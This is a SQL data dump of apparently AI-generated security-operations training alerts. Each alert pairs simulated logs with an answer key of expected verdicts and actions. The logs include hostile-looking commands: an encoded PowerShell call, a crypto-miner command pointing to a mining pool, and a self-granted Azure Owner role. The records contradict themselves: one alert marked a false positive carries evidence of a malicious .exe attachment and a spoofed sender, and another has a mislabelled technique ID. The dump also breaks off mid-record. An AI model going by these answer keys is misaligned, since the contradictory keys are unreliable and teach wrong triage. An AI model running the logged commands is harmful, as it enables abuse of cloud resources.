INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(749, 'Encoded PowerShell Command Execution Detected in GCP', 'critical', 'Google Cloud Security Command Center', 'An encoded PowerShell command was executed on a Google Cloud VM, indicative of possible malicious activity.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T11:15:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"N/A\",\"username\":\"admin\",\"hostname\":\"GCP-VM-01\",\"command_line\":\"powershell -enc aGVsbG8gd29ybGQ=\"}', '2026-01-10 13:25:27', '2026-02-16 18:04:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the GCP VM\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -enc aGVsbG8gd29ybGQ=\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command execution detected\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Encoded PowerShell commands are often used to evade detection and execute malicious payloads.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.396Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"GCP-VM-01\\\",\\\"command_line\\\":\\\"powershell -enc aGVsbG8gd29ybGQ=\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.396Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"GCP-VM-01\\\",\\\"command_line\\\":\\\"powershell -enc aGVsbG8gd29ybGQ=\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.396Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"GCP-VM-01\\\",\\\"command_line\\\":\\\"powershell -enc aGVsbG8gd29ybGQ=\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.396Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"GCP-VM-01\\\",\\\"command_line\\\":\\\"powershell -enc aGVsbG8gd29ybGQ=\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.396Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:15:45Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"GCP-VM-01\\\",\\\"command_line\\\":\\\"powershell -enc aGVsbG8gd29ybGQ=\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(750, 'Suspicious Email Detected - Potential False Positive', 'medium', 'Proofpoint Email Gateway', 'An email containing a link to an external website was flagged as suspicious but appears to be from a trusted source.', 'Phishing', 'T1566', 0, 'Closed', 42, '{\"timestamp\":\"2026-01-11T10:25:12Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.20\",\"username\":\"employee@example.com\",\"hostname\":\"N/A\",\"email_sender\":\"trusted.source@example.com\",\"request_body\":\"Please review the attached document: https://example-trusted-site.com/document\"}', '2026-01-10 11:44:36', '2026-03-12 12:15:23', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP associated with a trusted email provider\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"https://example-trusted-site.com/document\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"URL belongs to a trusted and verified domain\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"trusted.source@example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"clean\",\"details\":\"Email address registered to a known and trusted organization\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Despite initial suspicion, the email was verified to be from a trusted source with clean OSINT results.\"}', 'Advanced', 'EDR', 7, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email Detected - Potential False Positive\",\"date\":\"2026-02-01T20:32:22.397Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(751, 'Potential Crypto Mining Activity on AWS EC2 Instance', 'high', 'AWS GuardDuty', 'GuardDuty detected anomalous CPU usage patterns consistent with crypto mining on an EC2 instance. This activity is often indicative of unauthorized resource usage.', 'Malware', 'T1496', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:23:45Z\",\"event_type\":\"anomalous_usage\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.78\",\"username\":\"ec2-user\",\"hostname\":\"ec2-192-168-1-10.compute-1.amazonaws.com\",\"command_line\":\"minerd --algo=cryptonight --url=stratum+tcp://203.0.113.78:3333 --userpass=user:pass\"}', '2026-01-10 12:48:36', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address belonging to AWS EC2 instance\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.78\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 547 times for crypto mining activities\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"minerd --algo=cryptonight --url=stratum+tcp://203.0.113.78:3333 --userpass=user:pass\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Known command line for crypto mining operations\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of a known crypto mining command indicates unauthorized resource usage.\"}', 'Intermediate', 'NDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.398Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:23:45Z\\\",\\\"event_type\\\":\\\"anomalous_usage\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"203.0.113.78\\\",\\\"username\\\":\\\"ec2-user\\\",\\\"hostname\\\":\\\"ec2-192-168-1-10.compute-1.amazonaws.com\\\",\\\"command_line\\\":\\\"minerd --algo=cryptonight --url=stratum+tcp://203.0.113.78:3333 --userpass=user:pass\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.398Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:23:45Z\\\",\\\"event_type\\\":\\\"anomalous_usage\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"203.0.113.78\\\",\\\"username\\\":\\\"ec2-user\\\",\\\"hostname\\\":\\\"ec2-192-168-1-10.compute-1.amazonaws.com\\\",\\\"command_line\\\":\\\"minerd --algo=cryptonight --url=stratum+tcp://203.0.113.78:3333 --userpass=user:pass\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.398Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:23:45Z\\\",\\\"event_type\\\":\\\"anomalous_usage\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"203.0.113.78\\\",\\\"username\\\":\\\"ec2-user\\\",\\\"hostname\\\":\\\"ec2-192-168-1-10.compute-1.amazonaws.com\\\",\\\"command_line\\\":\\\"minerd --algo=cryptonight --url=stratum+tcp://203.0.113.78:3333 --userpass=user:pass\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.398Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:23:45Z\\\",\\\"event_type\\\":\\\"anomalous_usage\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"203.0.113.78\\\",\\\"username\\\":\\\"ec2-user\\\",\\\"hostname\\\":\\\"ec2-192-168-1-10.compute-1.amazonaws.com\\\",\\\"command_line\\\":\\\"minerd --algo=cryptonight --url=stratum+tcp://203.0.113.78:3333 --userpass=user:pass\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.398Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:23:45Z\\\",\\\"event_type\\\":\\\"anomalous_usage\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"203.0.113.78\\\",\\\"username\\\":\\\"ec2-user\\\",\\\"hostname\\\":\\\"ec2-192-168-1-10.compute-1.amazonaws.com\\\",\\\"command_line\\\":\\\"minerd --algo=cryptonight --url=stratum+tcp://203.0.113.78:3333 --userpass=user:pass\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(752, 'Suspicious IAM Privilege Escalation in Azure', 'critical', 'Azure Sentinel', 'A user account was detected attempting to assign itself higher privileges through an unusual method. This could indicate a compromised account.', 'Lateral Movement', 'T1078', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T09:15:30Z\",\"event_type\":\"privilege_escalation\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"52.233.123.45\",\"username\":\"john.doe\",\"hostname\":\"azure-vm-01\",\"command_line\":\"az role assignment create --assignee john.doe --role Owner\"}', '2026-01-10 17:50:25', '2026-02-16 18:03:53', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of Azure VM\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"52.233.123.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in privilege escalation attempts\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"az role assignment create --assignee john.doe --role Owner\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command used for unauthorized privilege escalation\"}}],\"expected_actions\":[\"reset_credentials\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The command line used is indicative of unauthorized privilege escalation.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.400Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:15:30Z\\\",\\\"event_type\\\":\\\"privilege_escalation\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"52.233.123.45\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"azure-vm-01\\\",\\\"command_line\\\":\\\"az role assignment create --assignee john.doe --role Owner\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.400Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:15:30Z\\\",\\\"event_type\\\":\\\"privilege_escalation\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"52.233.123.45\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"azure-vm-01\\\",\\\"command_line\\\":\\\"az role assignment create --assignee john.doe --role Owner\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.400Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:15:30Z\\\",\\\"event_type\\\":\\\"privilege_escalation\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"52.233.123.45\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"azure-vm-01\\\",\\\"command_line\\\":\\\"az role assignment create --assignee john.doe --role Owner\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.400Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:15:30Z\\\",\\\"event_type\\\":\\\"privilege_escalation\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"52.233.123.45\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"azure-vm-01\\\",\\\"command_line\\\":\\\"az role assignment create --assignee john.doe --role Owner\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.400Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:15:30Z\\\",\\\"event_type\\\":\\\"privilege_escalation\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"52.233.123.45\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"azure-vm-01\\\",\\\"command_line\\\":\\\"az role assignment create --assignee john.doe --role Owner\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(753, 'Exposed S3 Bucket Detected in AWS', 'medium', 'AWS CloudTrail', 'A public read/write permission was detected on an S3 bucket, potentially exposing sensitive data.', 'Data Exfiltration', 'T1530', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:42:05Z\",\"event_type\":\"bucket_policy_change\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"13.54.32.123\",\"username\":\"admin\",\"hostname\":\"cloud.aws.local\",\"request_body\":\"{\\\"Bucket\\\":\\\"my-sensitive-bucket\\\",\\\"Policy\\\":\\\"PublicReadWrite\\\"}\"}', '2026-01-09 16:19:33', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of AWS management console\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"{\\\"Bucket\\\":\\\"my-sensitive-bucket\\\",\\\"Policy\\\":\\\"PublicReadWrite\\\"}\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Exposing S3 bucket with public read/write permissions\"}}],\"expected_actions\":[\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Public read/write permissions on a sensitive S3 bucket are a security risk.\"}', 'Intermediate', 'CLOUD', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.401Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:42:05Z\\\",\\\"event_type\\\":\\\"bucket_policy_change\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"13.54.32.123\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"cloud.aws.local\\\",\\\"request_body\\\":\\\"{\\\\\\\"Bucket\\\\\\\":\\\\\\\"my-sensitive-bucket\\\\\\\",\\\\\\\"Policy\\\\\\\":\\\\\\\"PublicReadWrite\\\\\\\"}\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.401Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:42:05Z\\\",\\\"event_type\\\":\\\"bucket_policy_change\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"13.54.32.123\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"cloud.aws.local\\\",\\\"request_body\\\":\\\"{\\\\\\\"Bucket\\\\\\\":\\\\\\\"my-sensitive-bucket\\\\\\\",\\\\\\\"Policy\\\\\\\":\\\\\\\"PublicReadWrite\\\\\\\"}\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.401Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:42:05Z\\\",\\\"event_type\\\":\\\"bucket_policy_change\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"13.54.32.123\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"cloud.aws.local\\\",\\\"request_body\\\":\\\"{\\\\\\\"Bucket\\\\\\\":\\\\\\\"my-sensitive-bucket\\\\\\\",\\\\\\\"Policy\\\\\\\":\\\\\\\"PublicReadWrite\\\\\\\"}\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.401Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:42:05Z\\\",\\\"event_type\\\":\\\"bucket_policy_change\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"13.54.32.123\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"cloud.aws.local\\\",\\\"request_body\\\":\\\"{\\\\\\\"Bucket\\\\\\\":\\\\\\\"my-sensitive-bucket\\\\\\\",\\\\\\\"Policy\\\\\\\":\\\\\\\"PublicReadWrite\\\\\\\"}\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.401Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T11:42:05Z\\\",\\\"event_type\\\":\\\"bucket_policy_change\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"13.54.32.123\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"cloud.aws.local\\\",\\\"request_body\\\":\\\"{\\\\\\\"Bucket\\\\\\\":\\\\\\\"my-sensitive-bucket\\\\\\\",\\\\\\\"Policy\\\\\\\":\\\\\\\"PublicReadWrite\\\\\\\"}\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(754, 'False Positive: Unusual Login Attempt Detected', 'low', 'Splunk', 'A login attempt from a new location was detected for user \'alice.smith\', but further investigation revealed this was a legitimate business trip.', 'Credential Attack', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:50:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.101\",\"dst_ip\":\"203.0.113.10\",\"username\":\"alice.smith\",\"hostname\":\"vpn.company.com\",\"failed_attempts\":\"3\"}', '2026-01-10 10:38:35', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP not reported for malicious activities\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"alice.smith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Records\",\"verdict\":\"clean\",\"details\":\"User confirmed to be on a business trip\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The user\'s travel itinerary confirms this was a legitimate login attempt.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.402Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.101\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"alice.smith\\\",\\\"hostname\\\":\\\"vpn.company.com\\\",\\\"failed_attempts\\\":\\\"3\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.402Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.101\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"alice.smith\\\",\\\"hostname\\\":\\\"vpn.company.com\\\",\\\"failed_attempts\\\":\\\"3\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.402Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.101\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"alice.smith\\\",\\\"hostname\\\":\\\"vpn.company.com\\\",\\\"failed_attempts\\\":\\\"3\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.402Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.101\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"alice.smith\\\",\\\"hostname\\\":\\\"vpn.company.com\\\",\\\"failed_attempts\\\":\\\"3\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.402Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.101\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"alice.smith\\\",\\\"hostname\\\":\\\"vpn.company.com\\\",\\\"failed_attempts\\\":\\\"3\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(755, 'Exposed AWS S3 Bucket Detected', 'high', 'AWS GuardDuty', 'An S3 bucket was found to be publicly accessible, potentially exposing sensitive data. Immediate action is required to secure data.', 'Data Exfiltration', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T08:45:00Z\",\"event_type\":\"bucket_access\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"\",\"username\":\"user123\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"\",\"command_line\":\"\",\"bucket_name\":\"sensitive-data-bucket\",\"access_policy\":\"public-read\"}', '2026-01-10 02:30:01', '2026-02-17 05:27:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 142 times for suspicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"bucket_name\",\"value\":\"sensitive-data-bucket\",\"is_critical\":true,\"osint_result\":{\"source\":\"AWS Config\",\"verdict\":\"internal\",\"details\":\"Exposed bucket found on AWS\"}}],\"expected_actions\":[\"block_ip\",\"secure_bucket\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The public access policy on the S3 bucket is a clear indicator of misconfiguration leading to potential data exposure.\"}', 'Beginner', 'DLP', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.403Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event 